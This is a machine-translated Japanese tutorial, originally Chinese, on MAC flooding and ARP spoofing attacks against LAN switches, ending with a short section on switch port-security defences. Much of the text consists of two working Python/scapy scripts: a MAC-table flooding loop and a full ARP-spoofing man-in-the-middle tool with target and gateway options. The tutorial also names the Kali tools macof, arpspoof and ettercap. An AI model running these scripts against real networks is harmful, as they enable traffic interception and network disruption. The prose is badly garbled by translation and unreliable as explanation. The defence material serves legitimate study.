MACアドレスフラッディング攻撃
原理:データ転送処理における伝統的なスイッチは、クエリの処理後、データフレームがブロードキャストフレームとして扱われる見つけることができたエントリに対応する正しい転送インターフェース関連付けられた宛先MACアドレスを決定するために、CAMテーブルへのアクセスに依存して、CAMテーブル記録は、MACアドレスの上限に達した場合にのみ小さなエントリ、CAMテーブルを格納することができる限られた容量は、新しいエントリがCAMテーブルに追加されません。
上記の原理に基づいて、PCは未知の宛先宛のデータフレームを送信し続け、データパケットが十分に高速であることをとき、リフレッシュ時間がスイッチに来ているように、各パケットの送信元MACアドレスは、異なっていますCAMテーブルが急速に満たされました。CAMテーブルにはエントリーが入ることができない本当のCAMテーブルに対処これらの偽のMACアドレス、MACによって占有されています。その後、スイッチを介して、任意の通常のユニキャストデータフレームを処理するために、ブロードキャストフレームの形態であろう。この場合、スイッチはハブに降格されます。スイッチがハブにダウングレードした後、我々は、スイッチのホストに接続されたすべてのデータを聴くことができます。
この攻撃は、カーリーを通じて達成するためのツールとなることができます:macof、その上に、コマンドラインから直接このコマンドを入力します。
#mac泛洪攻击脚本
from scapy.all import *
import time
iface = 'eth0'
try:
while 1:
randmac = str(RandMAC())
randip = str(RandIP())
packet = Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)
sendp(packet,iface=iface,loop=0)
except KeyboardInterrupt:
print('/n[+]Stop')
ARP sproof(ARPスプーフィング)
原則:訪問者のPCのLANゲートウェイのMACアドレスをだましことで、PCの訪問者は、誤ってMACを変更するには、攻撃者のMACアドレスがブロックされたネットワークにつながるゲートウェイであることを考えました
ツールarpspoofカーリーが下に来るarpspoof -i interface -t ip gateway
カーリーでどこにも物理マシン上で直接注意、ファイアウォールは、物理マシンを閉じ、そしてモードをブリッジする必要がありますする必要があります
ettercapの(他の攻撃をサポートし、独自の中間者攻撃ツールをカーリー)ツールを達成することができます使用すると、
この記事を参照することができますhttp://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/
#--*--coding=utf-8--*--
from scapy.all import *
import optparse
import threading
#解决在linux系统上运行时报的unicode编码相关错误
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
def getMac(tgtIP):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
try:
tgtMac = getmacbyip(tgtIP)
return tgtMac
except:
print '[-]请检查目标IP是否存活'
def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
'''
生成ARP数据包,伪造网关欺骗目标计算机
srcMac:本机的MAC地址,充当中间人
tgtMac:目标计算机的MAC
gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgtIP:目标计算机的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
return pkt
def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
'''
生成ARP数据包,伪造目标计算机欺骗网关
srcMac:本机的MAC地址,充当中间人
gatewayMac:网关的MAC
tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gatewayIP:网关的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
return pkt
def main():
usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
parser = optparse.OptionParser(usage,version='v1.0')
parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP')
parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP')
parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡')
parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗')
options,args = parser.parse_args()
tgtIP = options.targetIP
gatewayIP = options.gatewayIP
interface = options.interface
if tgtIP == None or gatewayIP == None or interface == None:
print parser.print_help()
exit(0)
srcMac = get_if_hwaddr(interface)
print '本机MAC地址是:',srcMac
tgtMac = getMac(tgtIP)
print '目标计算机MAC地址是:',tgtMac
gatewayMac = getMac(gatewayIP)
print '网关MAC地址是:',gatewayMac
raw_input('按任意键继续:')
pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
i = 1
while True:
t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
t.start()
t.join()
print str(i) + ' [*]发送一个计算机ARP欺骗包'
s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
s.start()
s.join()
print str(i) + ' [*]发送一个网关ARP欺骗包'
i += 1
if __name__ == '__main__':
main()
防衛
スイッチがオンになっているポートセキュリティの防御機能のARP sproof B、次のような効果を持っている機能、
MACテーブルフルタイム違反生成された特定のインターフェースa.MAC洪水設定すると
、同じVLAN違反2つの異なるインターフェイスにMACアドレスが生成されるとB.内部学ん
- ポートセキュリティのデフォルト動作
のすべてのインタフェースを無効にポートセキュリティ機能
B。MACアドレスの各インターフェイスのデフォルトの最大容量
C。デフォルトはシャットダウン違反であります - 違反の実施形態の3種類の
インタフェースがerrordisable状態、およびアラームであることa.shutdown
違反パケットを廃棄しb.restrict、およびアラーム
C.protectは静かにパケットを破棄し、警告なし
構成:
1 QUIDWAY-Ethernet0に/ 0/1]ポートセキュリティイネーブル
2. [QUIDWAY-Ethernet0には、/ 0/1]ポートセキュリティMACアドレススティッキー
3 QUIDWAY-Ethernet0に/ 0/1]ポートのセキュリティ保護作用保護
4. [QUIDWAY-のEthernet0 / 0/1]ポートセキュリティのmax-MAC-numが20